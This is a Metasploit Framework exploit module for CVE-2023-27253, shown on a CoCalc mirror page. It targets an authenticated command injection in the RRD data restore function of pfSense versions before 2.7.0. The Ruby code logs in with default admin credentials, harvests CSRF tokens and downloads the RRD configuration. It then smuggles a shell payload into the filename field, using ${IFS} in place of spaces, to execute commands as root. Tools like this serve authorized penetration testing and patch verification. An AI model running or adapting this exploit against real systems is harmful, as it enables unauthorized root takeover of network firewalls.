CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/unix/http/pfsense_config_data_exec.rb
Views: 1904
1
class MetasploitModule < Msf::Exploit::Remote
2
Rank = ExcellentRanking
3
4
include Msf::Exploit::Remote::HttpClient
5
include Msf::Exploit::CmdStager
6
include Msf::Exploit::FileDropper
7
prepend Msf::Exploit::Remote::AutoCheck
8
9
def initialize(info = {})
10
super(
11
update_info(
12
info,
13
'Name' => 'pfSense Restore RRD Data Command Injection',
14
'Description' => %q{
15
This module exploits an authenticated command injection vulnerabilty in the "restore_rrddata()" function of
16
pfSense prior to version 2.7.0 which allows an authenticated attacker with the "WebCfg - Diagnostics: Backup & Restore"
17
privilege to execute arbitrary operating system commands as the "root" user.
18
19
This module has been tested successfully on version 2.6.0-RELEASE.
20
},
21
'License' => MSF_LICENSE,
22
'Author' => [
23
'Emir Polat', # vulnerability discovery & metasploit module
24
],
25
'References' => [
26
['CVE', '2023-27253'],
27
['URL', 'https://redmine.pfsense.org/issues/13935'],
28
['URL', 'https://github.com/pfsense/pfsense/commit/ca80d18493f8f91b21933ebd6b714215ae1e5e94']
29
],
30
'DisclosureDate' => '2023-03-18',
31
'Platform' => ['unix'],
32
'Arch' => [ ARCH_CMD ],
33
'Privileged' => true,
34
'Targets' => [
35
[ 'Automatic Target', {}]
36
],
37
'Payload' => {
38
'BadChars' => "\x2F\x27",
39
'Compat' =>
40
{
41
'PayloadType' => 'cmd',
42
'RequiredCmd' => 'generic netcat'
43
}
44
},
45
'DefaultOptions' => {
46
'RPORT' => 443,
47
'SSL' => true
48
},
49
'DefaultTarget' => 0,
50
'Notes' => {
51
'Stability' => [CRASH_SAFE],
52
'Reliability' => [REPEATABLE_SESSION],
53
'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]
54
}
55
)
56
)
57
58
register_options [
59
OptString.new('USERNAME', [true, 'Username to authenticate with', 'admin']),
60
OptString.new('PASSWORD', [true, 'Password to authenticate with', 'pfsense'])
61
]
62
end
63
64
def check
65
unless login
66
return Exploit::CheckCode::Unknown("#{peer} - Could not obtain the login cookies needed to validate the vulnerability!")
67
end
68
69
res = send_request_cgi(
70
'uri' => normalize_uri(target_uri.path, 'diag_backup.php'),
71
'method' => 'GET',
72
'keep_cookies' => true
73
)
74
75
return Exploit::CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?
76
return Exploit::CheckCode::Unknown("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") unless res.code == 200
77
78
unless res&.body&.include?('Diagnostics: ')
79
return Exploit::CheckCode::Safe('Vulnerable module not reachable')
80
end
81
82
version = detect_version
83
unless version
84
return Exploit::CheckCode::Detected('Unable to get the pfSense version')
85
end
86
87
unless Rex::Version.new(version) < Rex::Version.new('2.7.0-RELEASE')
88
return Exploit::CheckCode::Safe("Patched pfSense version #{version} detected")
89
end
90
91
Exploit::CheckCode::Appears("The target appears to be running pfSense version #{version}, which is unpatched!")
92
end
93
94
def login
95
# Skip the login process if we are already logged in.
96
return true if @logged_in
97
98
csrf = get_csrf('index.php', 'GET')
99
unless csrf
100
print_error('Could not get the expected CSRF token for index.php when attempting login!')
101
return false
102
end
103
104
res = send_request_cgi(
105
'uri' => normalize_uri(target_uri.path, 'index.php'),
106
'method' => 'POST',
107
'vars_post' => {
108
'__csrf_magic' => csrf,
109
'usernamefld' => datastore['USERNAME'],
110
'passwordfld' => datastore['PASSWORD'],
111
'login' => ''
112
},
113
'keep_cookies' => true
114
)
115
116
if res && res.code == 302
117
@logged_in = true
118
true
119
else
120
false
121
end
122
end
123
124
def detect_version
125
res = send_request_cgi(
126
'uri' => normalize_uri(target_uri.path, 'index.php'),
127
'method' => 'GET',
128
'keep_cookies' => true
129
)
130
131
# If the response isn't a 200 ok response or is an empty response, just return nil.
132
unless res && res.code == 200 && res.body
133
return nil
134
end
135
136
if (%r{Version.+<strong>(?<version>[0-9.]+-RELEASE)\n?</strong>}m =~ res.body).nil?
137
nil
138
else
139
version
140
end
141
end
142
143
def get_csrf(uri, methods)
144
res = send_request_cgi(
145
'uri' => normalize_uri(target_uri.path, uri),
146
'method' => methods,
147
'keep_cookies' => true
148
)
149
150
unless res && res.body
151
return nil # If no response was returned or an empty response was returned, then return nil.
152
end
153
154
# Try regex match the response body and save the match into a variable named csrf.
155
if (/var csrfMagicToken = "(?<csrf>sid:[a-z0-9,;:]+)";/ =~ res.body).nil?
156
return nil # No match could be found, so the variable csrf won't be defined.
157
else
158
return csrf
159
end
160
end
161
162
def drop_config
163
csrf = get_csrf('diag_backup.php', 'GET')
164
unless csrf
165
fail_with(Failure::UnexpectedReply, 'Could not get the expected CSRF token for diag_backup.php when dropping the config!')
166
end
167
168
post_data = Rex::MIME::Message.new
169
170
post_data.add_part(csrf, nil, nil, 'form-data; name="__csrf_magic"')
171
post_data.add_part('rrddata', nil, nil, 'form-data; name="backuparea"')
172
post_data.add_part('', nil, nil, 'form-data; name="encrypt_password"')
173
post_data.add_part('', nil, nil, 'form-data; name="encrypt_password_confirm"')
174
post_data.add_part('Download configuration as XML', nil, nil, 'form-data; name="download"')
175
post_data.add_part('', nil, nil, 'form-data; name="restorearea"')
176
post_data.add_part('', 'application/octet-stream', nil, 'form-data; name="conffile"')
177
post_data.add_part('', nil, nil, 'form-data; name="decrypt_password"')
178
179
res = send_request_cgi(
180
'uri' => normalize_uri(target_uri.path, 'diag_backup.php'),
181
'method' => 'POST',
182
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
183
'data' => post_data.to_s,
184
'keep_cookies' => true
185
)
186
187
if res && res.code == 200 && res.body =~ /<rrddatafile>/
188
return res.body
189
else
190
return nil
191
end
192
end
193
194
def exploit
195
unless login
196
fail_with(Failure::NoAccess, 'Could not obtain the login cookies!')
197
end
198
199
csrf = get_csrf('diag_backup.php', 'GET')
200
unless csrf
201
fail_with(Failure::UnexpectedReply, 'Could not get the expected CSRF token for diag_backup.php when starting exploitation!')
202
end
203
204
config_data = drop_config
205
if config_data.nil?
206
fail_with(Failure::UnexpectedReply, 'The drop config response was empty!')
207
end
208
209
if (%r{<filename>(?<file>.*?)</filename>} =~ config_data).nil?
210
fail_with(Failure::UnexpectedReply, 'Could not get the filename from the drop config response!')
211
end
212
config_data.gsub!(' ', '${IFS}')
213
send_p = config_data.gsub(file, "WAN_DHCP-quality.rrd';#{payload.encoded};")
214
215
post_data = Rex::MIME::Message.new
216
217
post_data.add_part(csrf, nil, nil, 'form-data; name="__csrf_magic"')
218
post_data.add_part('rrddata', nil, nil, 'form-data; name="backuparea"')
219
post_data.add_part('yes', nil, nil, 'form-data; name="donotbackuprrd"')
220
post_data.add_part('yes', nil, nil, 'form-data; name="backupssh"')
221
post_data.add_part('', nil, nil, 'form-data; name="encrypt_password"')
222
post_data.add_part('', nil, nil, 'form-data; name="encrypt_password_confirm"')
223
post_data.add_part('rrddata', nil, nil, 'form-data; name="restorearea"')
224
post_data.add_part(send_p.to_s, 'text/xml', nil, "form-data; name=\"conffile\"; filename=\"rrddata-config-pfSense.home.arpa-#{rand_text_alphanumeric(14)}.xml\"")
225
post_data.add_part('', nil, nil, 'form-data; name="decrypt_password"')
226
post_data.add_part('Restore Configuration', nil, nil, 'form-data; name="restore"')
227
228
res = send_request_cgi(
229
'uri' => normalize_uri(target_uri.path, 'diag_backup.php'),
230
'method' => 'POST',
231
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
232
'data' => post_data.to_s,
233
'keep_cookies' => true
234
)
235
236
if res
237
print_error("The response to a successful exploit attempt should be 'nil'. The target responded with an HTTP response code of #{res.code}. Try rerunning the module.")
238
end
239
end
240
end
241
242